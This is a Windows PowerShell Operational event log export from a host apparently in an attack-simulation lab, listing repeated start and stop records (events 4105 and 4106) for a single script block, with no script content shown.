LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468196
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468195
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468194
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468193
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468192
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468191
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468190
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468189
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468188
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468187
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468186
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468185
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468184
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468183
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468182
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468181
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468180
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468179
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468178
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468177
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468176
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468175
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468174
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468173
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468172
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468171
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468170
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468169
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468168
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468167
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468166
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468165
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468164
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468163
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468162
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468161
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468160
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468159
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468158
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468157
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468156
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468155
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468154
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468153
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468152
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468151
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468150
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468149
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468148
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468147
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468146
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468145
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468144
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468143
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468142
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468141
Keywords=None
